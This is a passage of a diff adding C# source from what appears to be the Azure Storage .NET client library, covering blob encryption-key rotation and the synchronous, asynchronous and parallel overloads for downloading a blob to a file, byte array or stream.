+            return this.RotateEncryptionKeyAsync(null /* accessCondition */, null /* options */, null /* operationContext */, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to rotate the encryption key on this blob.
+        /// This method rotates only the KEK, not the CEK.  For more information, visit https://azure.microsoft.com/en-us/documentation/articles/storage-client-side-encryption/
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. 
+        /// For this operation, there must not be an <see cref="AccessCondition.IfMatchETag"/>, <see cref="AccessCondition.IfNoneMatchETag"/>, 
+        /// <see cref="AccessCondition.IfModifiedSinceTime"/>, or <see cref="AccessCondition.IfNotModifiedSinceTime"/> condition.  
+        /// An <see cref="AccessCondition.IfMatchETag"/> condition will be added internally.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns> 
+        /// <remarks>
+        /// This method has a number of prerequisites:
+        /// 1. The blob must be encrypted on the service using client-side encryption (not service-side encryption.)
+        /// 2. The local object must have the latest attributes from the blob on the service.  This can be done by calling FetchAttributes() on the blob, or by listing blobs in the container with metadata.
+        /// 3. The Encryption Policy on the default BlobRequestOptions must contain an IKeyResolver capable of resolving the old encryption key.
+        /// 4. The Encryption Policy on the default BlobRequestOptions must contain an IKey with the new encryption key.
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual Task RotateEncryptionKeyAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.RotateEncryptionKeyAsync(accessCondition, options, operationContext, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to rotate the encryption key on this blob.
+        /// This method rotates only the KEK, not the CEK.  For more information, visit https://azure.microsoft.com/en-us/documentation/articles/storage-client-side-encryption/
+        /// </summary>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. 
+        /// For this operation, there must not be an <see cref="AccessCondition.IfMatchETag"/>, <see cref="AccessCondition.IfNoneMatchETag"/>, 
+        /// <see cref="AccessCondition.IfModifiedSinceTime"/>, or <see cref="AccessCondition.IfNotModifiedSinceTime"/> condition.  
+        /// An <see cref="AccessCondition.IfMatchETag"/> condition will be added internally.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns> 
+        /// <remarks>
+        /// This method has a number of prerequisites:
+        /// 1. The blob must be encrypted on the service using client-side encryption (not service-side encryption.)
+        /// 2. The local object must have the latest attributes from the blob on the service.  This can be done by calling FetchAttributes() on the blob, or by listing blobs in the container with metadata.
+        /// 3. The Encryption Policy on the default BlobRequestOptions must contain an IKeyResolver capable of resolving the old encryption key.
+        /// 4. The Encryption Policy on the default BlobRequestOptions must contain an IKey with the new encryption key.
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual async Task RotateEncryptionKeyAsync(AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+
+            WrappedKeyData wrappedKey = await this.RotateEncryptionHelper(accessCondition, modifiedOptions, cancellationToken).ConfigureAwait(false);
+
+            BlobEncryptionData encryptionData = wrappedKey.encryptionData;
+
+            encryptionData.WrappedContentKey = new WrappedKey(modifiedOptions.EncryptionPolicy.Key.Kid, wrappedKey.encryptedKey, wrappedKey.algorithm);
+
+            this.Metadata[Constants.EncryptionConstants.BlobEncryptionData] = Newtonsoft.Json.JsonConvert.SerializeObject(encryptionData, Newtonsoft.Json.Formatting.None);
+
+            if (accessCondition == null)
+            {
+                accessCondition = new AccessCondition();
+            }
+
+            accessCondition.IfMatchETag = this.Properties.ETag;
+
+            try
+            {
+                await this.SetMetadataAsync(accessCondition, modifiedOptions, operationContext, cancellationToken).ConfigureAwait(false);
+            }
+            catch (StorageException ex)
+            {
+                // This bit is to improve the error handling case.
+                // If the set-metadata fails, we check if it failed with a Precondition Failure.  If so, we wrap the failure with a 
+                // new StorageException that contains a better error message.
+                // This is important because the library is internally adding an AccessCondition, which may be difficult for users to realize / debug.
+                if (ex.RequestInformation.HttpStatusCode == (int)HttpStatusCode.PreconditionFailed)
+                {
+                    throw new StorageException(ex.RequestInformation, SR.KeyRotationPreconditionFailed, ex);
+                }
+            }
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Downloads the contents of a blob to a file.
+        /// </summary>
+        /// <param name="path">A string containing the path to the target file.</param>
+        /// <param name="mode">A <see cref="System.IO.FileMode"/> enumeration value that determines how to open or create the file.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        [DoesServiceRequest]
+        public virtual void DownloadToFile(string path, FileMode mode, AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            CommonUtility.AssertNotNull("path", path);
+            FileStream fileStream = new FileStream(path, mode, FileAccess.Write, FileShare.None);
+
+            try
+            {
+                using (fileStream)
+                {
+                    this.DownloadToStream(fileStream, accessCondition, options, operationContext);
+                }
+            }
+            catch (Exception)
+            {
+                if (mode == FileMode.Create || mode == FileMode.CreateNew)
+                {
+                    try
+                    {
+                        File.Delete(path);
+                    }
+                    catch (Exception)
+                    {
+                        // Best effort to clean up in the event that download was unsuccessful.
+                        // Do not throw as we want to throw original exception.
+                    }
+                }
+
+                throw;
+            }
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to download the contents of a blob to a file.
+        /// </summary>
+        /// <param name="path">A string containing the path to the target file.</param>
+        /// <param name="mode">A <see cref="System.IO.FileMode"/> enumeration value that determines how to open or create the file.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDownloadToFile(string path, FileMode mode, AsyncCallback callback, object state)
+        {
+            return this.BeginDownloadToFile(path, mode, null /* accessCondition */, null /* options */, null /* operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to download the contents of a blob to a file.
+        /// </summary>
+        /// <param name="path">A string containing the path to the target file.</param>
+        /// <param name="mode">A <see cref="System.IO.FileMode"/> enumeration value that determines how to open or create the file.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDownloadToFile(string path, FileMode mode, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return this.BeginDownloadToFile(path, mode, accessCondition, options, operationContext, null /*progressHandler*/, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to download the contents of a blob to a file.
+        /// </summary>
+        /// <param name="path">A string containing the path to the target file.</param>
+        /// <param name="mode">A <see cref="System.IO.FileMode"/> enumeration value that determines how to open or create the file.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="progressHandler"> An <see cref="IProgress"/> object to gather progress deltas.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        private ICancellableAsyncResult BeginDownloadToFile(string path, FileMode mode, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, IProgress<StorageProgress> progressHandler, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.DownloadToFileAsync(path, mode, accessCondition, options, operationContext, token), callback, state);
+        }        
+
+        /// <summary>
+        /// Ends an asynchronous operation to download the contents of a blob to a file.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        public virtual void EndDownloadToFile(IAsyncResult asyncResult)
+        {
+            ((CancellableAsyncResultTaskWrapper)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a file.
+        /// </summary>
+        /// <param name="path">A string containing the path to the target file.</param>
+        /// <param name="mode">A <see cref="System.IO.FileMode"/> enumeration value that determines how to open or create the file.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadToFileAsync(string path, FileMode mode)
+        {
+            return this.DownloadToFileAsync(path, mode, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), null /*progressHandler*/, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a file.
+        /// </summary>
+        /// <param name="path">A string containing the path to the target file.</param>
+        /// <param name="mode">A <see cref="System.IO.FileMode"/> enumeration value that determines how to open or create the file.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadToFileAsync(string path, FileMode mode, CancellationToken cancellationToken)
+        {
+            return this.DownloadToFileAsync(path, mode, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), null /*progressHandler*/, cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a file.
+        /// </summary>
+        /// <param name="path">A string containing the path to the target file.</param>
+        /// <param name="mode">A <see cref="System.IO.FileMode"/> enumeration value that determines how to open or create the file.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadToFileAsync(string path, FileMode mode, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.DownloadToFileAsync(path, mode, accessCondition, options, operationContext, null /*progressHandler*/, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a file.
+        /// </summary>
+        /// <param name="path">A string containing the path to the target file.</param>
+        /// <param name="mode">A <see cref="System.IO.FileMode"/> enumeration value that determines how to open or create the file.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task DownloadToFileAsync(string path, FileMode mode, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            return this.DownloadToFileAsync(path, mode, accessCondition, options, operationContext, null /*progressHandler*/, cancellationToken);
+        }
+        /// <summary>
+        /// Downloads the contents of a blob to a file.
+        /// </summary>
+        /// <param name="path">A string containing the file path providing the blob content.</param>
+        /// <param name="mode">A <see cref="System.IO.FileMode"/> enumeration value that specifies how to open the file.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the access conditions for the blob.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="progressHandler"> A <see cref="System.IProgress{StorageProgress}"/> object to handle <see cref="StorageProgress"/> messages.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>An <see cref="Task"/> that represents an asynchronous action.</returns>
+        [DoesServiceRequest]
+        public virtual async Task DownloadToFileAsync(string path, FileMode mode, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, IProgress<StorageProgress> progressHandler, CancellationToken cancellationToken)
+        {
+            CommonUtility.AssertNotNull("path", path);
+            FileStream fileStream = new FileStream(path, mode, FileAccess.Write, FileShare.None);
+
+            try
+            {
+                using (fileStream)
+                {
+                    await this.DownloadToStreamAsync(fileStream, accessCondition, options, operationContext, progressHandler, cancellationToken).ConfigureAwait(false);
+                }
+            }
+            catch (Exception)
+            {
+                if (mode == FileMode.Create || mode == FileMode.CreateNew)
+                {
+                    try
+                    {
+                        File.Delete(path);
+                    }
+                    catch (Exception)
+                    {
+                        // Best effort to clean up in the event that download was unsuccessful.
+                        // Do not throw as we want to throw original exception.
+                    }
+                }
+
+                throw;
+            }
+        }
+
+#if WINDOWS_DESKTOP && !WINDOWS_PHONE
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a file by making parallel requests.
+        /// </summary>
+        /// <param name="path">A string containing the path to the target file.</param>
+        /// <param name="mode">A <see cref="System.IO.FileMode"/> enumeration value that determines how to open or create the file.</param>
+        /// <param name="parallelIOCount">The maximum number of ranges that can be downloaded concurrently</param>
+        /// <param name="rangeSizeInBytes">The size of each individual range in bytes that is being dowloaded in parallel.
+        /// The range size must be a multiple of 4 KB and a minimum of 4 MB. If no value is passed a default value of 16 MB is used or 4MB if transactional MD5 is enabled.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        /// <remarks>
+        /// The parallelIOCount and rangeSizeInBytes should be adjusted depending on the CPU, memory, and bandwidth.
+        /// This API should only be used for larger downloads as a HEAD request is made prior to downloading the data.
+        /// For smaller blobs, please use DownloadToFileAsync().
+        /// To get the best performance, it is recommended to try several values, and measure throughput.
+        /// One place to start would be to set the parallelIOCount to the number of CPUs.
+        /// Then adjust the rangeSizeInBytes so that parallelIOCount times rangeSizeInBytes equals the amount of memory you want the process to consume.
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual Task DownloadToFileParallelAsync(string path, FileMode mode, int parallelIOCount, long? rangeSizeInBytes)
+        {
+            return this.DownloadToFileParallelAsync(path, mode, parallelIOCount, rangeSizeInBytes, 0, null, null, null, null, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a file by making parallel requests.
+        /// </summary>
+        /// <param name="path">A string containing the path to the target file.</param>
+        /// <param name="mode">A <see cref="System.IO.FileMode"/> enumeration value that determines how to open or create the file.</param>
+        /// <param name="parallelIOCount">The maximum number of ranges that can be downloaded concurrently.</param>
+        /// <param name="rangeSizeInBytes">The size of each individual range in bytes that is being dowloaded in parallel.
+        /// The range size must be a multiple of 4 KB and a minimum of 4 MB. If no value is passed a default value of 16 MB is used or 4MB if transactional MD5 is enabled.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        /// <remarks>
+        /// The parallelIOCount and rangeSizeInBytes should be adjusted depending on the CPU, memory, and bandwidth.
+        /// This API should only be used for larger downloads as a HEAD request is made prior to downloading the data.
+        /// For smaller blobs, please use DownloadToFileAsync().
+        /// To get the best performance, it is recommended to try several values, and measure throughput.
+        /// One place to start would be to set the parallelIOCount to the number of CPUs.
+        /// Then adjust the rangeSizeInBytes so that parallelIOCount times rangeSizeInBytes equals the amount of memory you want the process to consume.
+        /// 
+        /// ## Examples
+        /// [!code-csharp[DownloadToFileParallel](~/azure-storage-net/Test/ClassLibraryCommon/Blob/BlobDownloadToFileParallelTests.cs#sample_DownloadToFileParallel "DownloadToFileParallel Sample")]
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual Task DownloadToFileParallelAsync(string path, FileMode mode, int parallelIOCount, long? rangeSizeInBytes, CancellationToken cancellationToken)
+        {
+            return this.DownloadToFileParallelAsync(path, mode, parallelIOCount, rangeSizeInBytes, 0, null, null, null, null, cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a file by making parallel requests.
+        /// </summary>
+        /// <param name="path">A string containing the path to the target file.</param>
+        /// <param name="mode">A <see cref="System.IO.FileMode"/> enumeration value that determines how to open or create the file.</param>
+        /// <param name="parallelIOCount">The maximum number of ranges that can be downloaded concurrently</param>
+        /// <param name="rangeSizeInBytes">The size of each individual range in bytes that is being dowloaded in parallel.
+        /// The range size must be a multiple of 4 KB and a minimum of 4 MB. If no value is passed a default value of 16 MB or 4MB if transactional MD5 is enabled.</param>
+        /// <param name="offset">The offset of the blob.</param>
+        /// <param name="length">The number of bytes to download.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task"/> object that represents the asynchronous operation.</returns>
+        /// <remarks>
+        /// The parallelIOCount and rangeSizeInBytes should be adjusted depending on the CPU, memory, and bandwidth.
+        /// This API should only be used for larger downloads as a HEAD request is made prior to downloading the data.
+        /// For smaller blobs, please use DownloadToFileAsync().
+        /// To get the best performance, it is recommended to try several values, and measure throughput.
+        /// One place to start would be to set the parallelIOCount to the number of CPUs.
+        /// Then adjust the rangeSizeInBytes so that parallelIOCount times rangeSizeInBytes equals the amount of memory you want the process to consume.
+        /// </remarks>
+        [DoesServiceRequest]
+        public virtual Task DownloadToFileParallelAsync(string path, FileMode mode, int parallelIOCount, long? rangeSizeInBytes, long offset, long? length, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            ParallelDownloadToFile pdf = ParallelDownloadToFile.Start(
+                this,
+                path,
+                mode,
+                parallelIOCount,
+                rangeSizeInBytes,
+                offset,
+                length,
+                Constants.MaxIdleTimeMs,
+                accessCondition,
+                options,
+                operationContext,
+                cancellationToken);
+            return pdf.Task;
+        }
+#endif
+
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Downloads the contents of a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>The total number of bytes read into the buffer.</returns>
+        [DoesServiceRequest]
+        public virtual int DownloadToByteArray(byte[] target, int index, AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            return this.DownloadRangeToByteArray(target, index, null /* blobOffset */, null /* length */, accessCondition, options, operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to download the contents of a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDownloadToByteArray(byte[] target, int index, AsyncCallback callback, object state)
+        {
+            return this.BeginDownloadToByteArray(target, index, null /* accessCondition */, null /* options */, null /*operationContext */, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to download the contents of a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual ICancellableAsyncResult BeginDownloadToByteArray(byte[] target, int index, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, AsyncCallback callback, object state)
+        {
+            return this.BeginDownloadRangeToByteArray(target, index, null /* blobOffset */, null /* length */, accessCondition, options, operationContext, callback, state);
+        }
+
+        /// <summary>
+        /// Begins an asynchronous operation to download the contents of a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="progressHandler"> An <see cref="IProgress"/> object to gather progress deltas.</param>
+        /// <param name="callback">An <see cref="AsyncCallback"/> delegate that will receive notification when the asynchronous operation completes.</param>
+        /// <param name="state">A user-defined object that will be passed to the callback delegate.</param>
+        /// <returns>An <see cref="ICancellableAsyncResult"/> that references the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        private ICancellableAsyncResult BeginDownloadToByteArray(byte[] target, int index, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, IProgress<StorageProgress> progressHandler, AsyncCallback callback, object state)
+        {
+            return CancellableAsyncResultTaskWrapper.Create(token => this.DownloadToByteArrayAsync(target, index, accessCondition, options, operationContext, progressHandler, token), callback, state);
+        }
+
+        /// <summary>
+        /// Ends an asynchronous operation to download the contents of a blob to a byte array.
+        /// </summary>
+        /// <param name="asyncResult">An <see cref="IAsyncResult"/> that references the pending asynchronous operation.</param>
+        /// <returns>The total number of bytes read into the buffer.</returns>
+        public virtual int EndDownloadToByteArray(IAsyncResult asyncResult)
+        {
+            return ((CancellableAsyncResultTaskWrapper<int>)asyncResult).GetAwaiter().GetResult();
+        }
+
+#if TASK
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>int</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<int> DownloadToByteArrayAsync(byte[] target, int index)
+        {
+            return this.DownloadRangeToByteArrayAsync(target, index, null /*blobOffset*/, null /*length*/, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), null /*progressHandler*/, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>int</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<int> DownloadToByteArrayAsync(byte[] target, int index, CancellationToken cancellationToken)
+        {
+            return this.DownloadRangeToByteArrayAsync(target, index, null /*blobOffset*/, null /*length*/, default(AccessCondition), default(BlobRequestOptions), default(OperationContext), null /*progressHandler*/, cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>int</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<int> DownloadToByteArrayAsync(byte[] target, int index, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext)
+        {
+            return this.DownloadRangeToByteArrayAsync(target, index, null /*blobOffset*/, null /*length*/, accessCondition, options, operationContext, null /*progressHandler*/, CancellationToken.None);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>int</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<int> DownloadToByteArrayAsync(byte[] target, int index, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, CancellationToken cancellationToken)
+        {
+            return this.DownloadRangeToByteArrayAsync(target, index, null /*blobOffset*/, null /*length*/, accessCondition, options, operationContext, null /*progressHandler*/, cancellationToken);
+        }
+
+        /// <summary>
+        /// Initiates an asynchronous operation to download the contents of a blob to a byte array.
+        /// </summary>
+        /// <param name="target">The target byte array.</param>
+        /// <param name="index">The starting offset in the byte array.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        /// <param name="progressHandler"> A <see cref="System.IProgress{StorageProgress}"/> object to handle <see cref="StorageProgress"/> messages.</param>
+        /// <param name="cancellationToken">A <see cref="CancellationToken"/> to observe while waiting for a task to complete.</param>
+        /// <returns>A <see cref="Task{T}"/> object of type <c>int</c> that represents the asynchronous operation.</returns>
+        [DoesServiceRequest]
+        public virtual Task<int> DownloadToByteArrayAsync(byte[] target, int index, AccessCondition accessCondition, BlobRequestOptions options, OperationContext operationContext, IProgress<StorageProgress> progressHandler, CancellationToken cancellationToken)
+        {
+            return this.DownloadRangeToByteArrayAsync(target, index, null /*blobOffset*/, null /*length*/, accessCondition, options, operationContext, progressHandler, cancellationToken);
+        }
+#endif
+
+#if SYNC
+        /// <summary>
+        /// Downloads a range of bytes from a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="offset">The offset at which to begin downloading the blob, in bytes.</param>
+        /// <param name="length">The length of the data to download from the blob, in bytes.</param>
+        /// <param name="accessCondition">An <see cref="AccessCondition"/> object that represents the condition that must be met in order for the request to proceed. If <c>null</c>, no condition is used.</param>
+        /// <param name="options">A <see cref="BlobRequestOptions"/> object that specifies additional options for the request. If <c>null</c>, default options are applied to the request.</param>
+        /// <param name="operationContext">An <see cref="OperationContext"/> object that represents the context for the current operation.</param>
+        [DoesServiceRequest]
+        public virtual void DownloadRangeToStream(Stream target, long? offset, long? length, AccessCondition accessCondition = null, BlobRequestOptions options = null, OperationContext operationContext = null)
+        {
+            CommonUtility.AssertNotNull("target", target);
+
+            BlobRequestOptions modifiedOptions = BlobRequestOptions.ApplyDefaults(options, BlobType.Unspecified, this.ServiceClient);
+            Executor.ExecuteSync(
+                this.GetBlobImpl(this.attributes, target, offset, length, accessCondition, modifiedOptions),
+                modifiedOptions.RetryPolicy,
+                operationContext);
+        }
+#endif
+
+        /// <summary>
+        /// Begins an asynchronous operation to download a range of bytes from a blob to a stream.
+        /// </summary>
+        /// <param name="target">A <see cref="System.IO.Stream"/> object representing the target stream.</param>
+        /// <param name="offset">The offset at which to begin downloading the blob, in bytes.</param>
